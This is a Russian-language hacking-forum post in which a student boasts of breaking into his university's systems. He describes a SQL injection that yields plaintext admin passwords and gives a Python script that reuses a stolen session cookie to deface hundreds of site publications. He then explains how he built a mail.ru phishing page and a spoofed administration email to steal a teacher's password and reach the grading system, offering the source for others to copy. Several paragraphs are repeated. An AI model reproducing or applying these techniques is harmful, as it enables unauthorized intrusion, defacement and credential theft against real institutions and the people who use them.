Пожалуйста, обратите внимание, что пользователь заблокирован
Добрый день, уважаемые форумчане. То что вы сейчас прочтете, возможно будет похоже на какой-то художественный фильм про хакинг пентагона, но это реальная история, которая случилась со мной совсем недавно.
С чего всё начиналосьПо календарю ноябрь провожал мой нелегкий первый год в университете. Зачеты, экзамены, сессии, казалось до них было далеко, но, однокурсники с каждым днем стали чаще напоминать мне об этой суете, так как, баллы у меня были самые низкие (кроме информатики
). Официальный сайт нашего университета почти не был защищен: небезопасный протокол HTTP, куча SQL инъекций и XSS. С помощью одной из этих уязвимостей, мне потребовалось 10 минут для взлома сайта. А точнее, это была очередная SQL инъекция, которая позволила мне получить все данные для входа в панель управления. Пароли не были зашифрованные, из-за чего моя задача облегчалась в несколько раз. Зашел на панель, посмотрел что-там, и понял что там можно изменить инфу только с этого домена. К моему сожалению, там и речи не было о БРС (балльно рейтинговая система), так как он находился на поддомене, и к моему удивлению, имел совсем другой IP адрес. Мое незнание сети привело меня к выводу, что сеть университета немного запутана, и чтобы получить доступ к БРС, придется действовать другим методом. Конечно же, я не мог просто оставить взломанный сайт без изменений, и вместо того чтобы вручную менять каждую публикацию, я внимательно посмотрел все параметры которые передаются по POST запросу, и написал питон скрипт, который раз за разом отправлял POST запросы на все адреса, которые нужны были для изменения публикаций. Если расписывать каждый шаг, получится очень много теории, поэтому приведу вам видео-ролик, который я записал в ночь взлома.
И так. Для того чтобы менять какую-то публикацию, естественно нужно было войти на панель управления. Но, на входе меня ожидала одна проблема - капча, которую я так и не смог решить. После нескольких неудачных попыток, пришло в голову сделать это совсем по другому. Как вы знаете, при смене кукисов на валидные, мы без каких-либо вводов паролей и решений капч, могли оказаться в панели. Именно так я и сделал, благодаря параметру cookies из нашего любимой библиотеки requests, которая указывалась при отправке запроса. Запустив скрипт и указав валидную PHPSESSID, начиналось шоу. Приведу немного измененный пример кода, дабы избавиться от некоторых вопросов
Те, кто знает хотя бы базу питона, поймут что для чего. Почему хотя бы? Да потому-что я сам знаю не больше xD.
Сайт взломан, видео залито, слухи ходят. Казалось бы, цель достигнута, но, наш злорадствующий смех, говорит, что это была всего лишь разминка. Итак, сканировав поддомен БРС на наличие уязвимостей, как автоматическим, так и ручным способом, я пришел к выводу, что эта часть сайта хорошо защищена. Несмотря на это, я всё верил что разработчики допустили хоть какую-то мелочь, и стал прочесывать сайт с помощью Dirb. К нашему сожалению, это не дало никакого результата. Но, я все равно не хотел сдаваться. Думаю и так понятно, что у каждого преподавателя есть отдельный аккаунт в БРС. Поэтому, нам нужно было получить доступ сразу к нескольким аккаунтам в БРС, или, буду честен, к аккаунтам преподавателей, которые ставят мне слишком низкие баллы xD. Буквально у всех, были айфоны. А мы знаем, что яблоко не подпускает к себе любых недобрых приложений. Поэтому, достичь цели с помощью запуска вируса на телефоне, было вычтено из списка вариантов. И тут я вспомнил про любимую СИ (Социальная инженерия). Слишком много текста, чувствуете? Ничего, это того стоит. Данные для входа в БРС каждому преподавателю отправляли на почту индивидуально. Я не стал много раздумывать, и пошел сделать фишинг-страницу, похожую на страницу входа mail.ru. Получилось что-то подобное
После нажатия кнопки Войти, данные отправлялись нам, а пользователя направляло на главную страницу почты. В прикрепленных файлах оставлю исходники кода, может кто захочет повторить трюк. Немного изменив свой почтовый ящик под аккаунт Администрации, я пошел писать письмо. В этом мне очень помог всеми известный хабр (не реклама). В итоге, у меня получилось вот это
Ссылка "Подтвердить" отправляла нас на нашу фишинг страницу. Адрес был примерно следующим: http://myhost.ru/?emai=prepod7@mail.ru
В index.php нашей страницы, я сделал так, чтобы значение из GET параметра email сохранялось в сессии, так, чтобы при обновлении страницы все равно отображался первоначальный email. Сделано было это для красоты. Итак, всё готово, осталось ждать пока жертва клюнет. Я подключился к серверу по SSH и стал слушать файл лога с помощью команды
P.S. Прошу строго не судить, всё было написано и сделано на собственных понятиях. Если где-то допустил ошибку, буду только рад исправлению.
С чего всё начиналось
Python:
import requests
import os
import sys
import time
class color:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
print("Secret key:")
sessid = input()
time.sleep(1)
print(color.BOLD + "Successfully key confirmation! \n" + color.END)
time.sleep(2)
print("Sending requests...\n")
time.sleep(3)
s = requests.Session()
urls = ["http://site.ru/edit1.php?id=", "http://site.ru/edit2.php?id=",, "http://site.ru/edit3.php?id=", "http://site.ru/edit4.php?id=", "http://site.ru/edit5.php?id="]
cookies = {'PHPSESSID': sessid, 'ckCsrfToken' : '29iurhXaHn4B80ED9466L85OooV6fyo1wL7K850p'}
date = "2019-07-07"
text = """
<html> <h1 align="center">HACKED BY VASYA PUPKIN</html>
"""
title = "HACKED"
pre_text = "HACKED"
files = {
'userfile': (os.getcwd()+'/main.png', open(os.getcwd()+'/main.png', 'rb'), 'image/png')
}
link = "https://www.whoismrrobot.com/"
other = "СоÑÑаниÑÑ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ"
for num in range(0,4):
for i in range(0,300):
r = s.post(urls[num]+str(i), files=files, cookies = cookies, data={'title' : title, 'text' : text, 'date' : date, 'pre-text' : pre_text, 'do_edit' : other, 'date_end' : date, 'category' : 6, 'link' : link})
print(color.BOLD +"Publication with ID " + str(i) + " defaced!" + color.END)
time.sleep(0.05)
end = """
████████████████████████████████████
█─██─██────██────██─██─██───██────██
█─██─██─██─██─██─██─█─███─████─██──█
█────██────██─█████──████───██─██──█
█─██─██─██─██─██─██─█─███─████─██──█
█─██─██─██─██────██─██─██───██────██
████████████████████████████████████
██████████████
█────███──█──█
█─██──███───██
█────█████─███
█─██──████─███
█────█████─███
██████████─███
████████████████████████████████████
█────██──█──██────██───██────██────█
█─██─███───█████──████─██─██─██─██─█
█─██─████─█████──███───██────██─██─█
█─██─███───███──██████─██─█─███─██─█
█────██──█──██────██───██─█─███────█
████████████████████████████████████
"""
print(end)
Идем к большой цели маленькими шагами
Сайт взломан, видео залито, слухи ходят. Казалось бы, цель достигнута, но, наш злорадствующий смех, говорит, что это была всего лишь разминка. Итак, сканировав поддомен БРС на наличие уязвимостей, как автоматическим, так и ручным способом, я пришел к выводу, что эта часть сайта хорошо защищена. Несмотря на это, я всё верил что разработчики допустили хоть какую-то мелочь, и стал прочесывать сайт с помощью Dirb. К нашему сожалению, это не дало никакого результата. Но, я все равно не хотел сдаваться. Думаю и так понятно, что у каждого преподавателя есть отдельный аккаунт в БРС. Поэтому, нам нужно было получить доступ сразу к нескольким аккаунтам в БРС, или, буду честен, к аккаунтам преподавателей, которые ставят мне слишком низкие баллы xD. Буквально у всех, были айфоны. А мы знаем, что яблоко не подпускает к себе любых недобрых приложений. Поэтому, достичь цели с помощью запуска вируса на телефоне, было вычтено из списка вариантов. И тут я вспомнил про любимую СИ (Социальная инженерия). Слишком много текста, чувствуете? Ничего, это того стоит. Данные для входа в БРС каждому преподавателю отправляли на почту индивидуально. Я не стал много раздумывать, и пошел сделать фишинг-страницу, похожую на страницу входа mail.ru. Получилось что-то подобное
В index.php нашей страницы, я сделал так, чтобы значение из GET параметра email сохранялось в сессии, так, чтобы при обновлении страницы все равно отображался первоначальный email. Сделано было это для красоты. Итак, всё готово, осталось ждать пока жертва клюнет. Я подключился к серверу по SSH и стал слушать файл лога с помощью команды
tail -f data.txt и пошел спать. Просыпаюсь утром, увидев что лог пуст, я с грустью пошел готовиться к универу. Буквально через 30 минут, я вернулся чтобы посмотреть, не случилось ли чудо. Эххх, вы бы видели мое лицо, когда мой терминал выдал мне логин и пароль для входа в почту преподавателя. Радости не было конца. То ли преподаватель совсем не был знаком с ИБ, то ли не выспался, но я получил пароль. До начала занятий был минимум час, и это позволило мне копать почту. Кол-во писем было там, 3000+, если не больше. У меня бы ушли возможно дни, если б искал нужное письмо в ручную. Благо, кому-то пришло в голову сделать автоматический поиск писем, чем я и воспользовался. Немного пролистав ключевые письма, я нашел именно то письмо, где сообщались данные для входа в БРС. Это была победа.
Всем спасибо за внимание!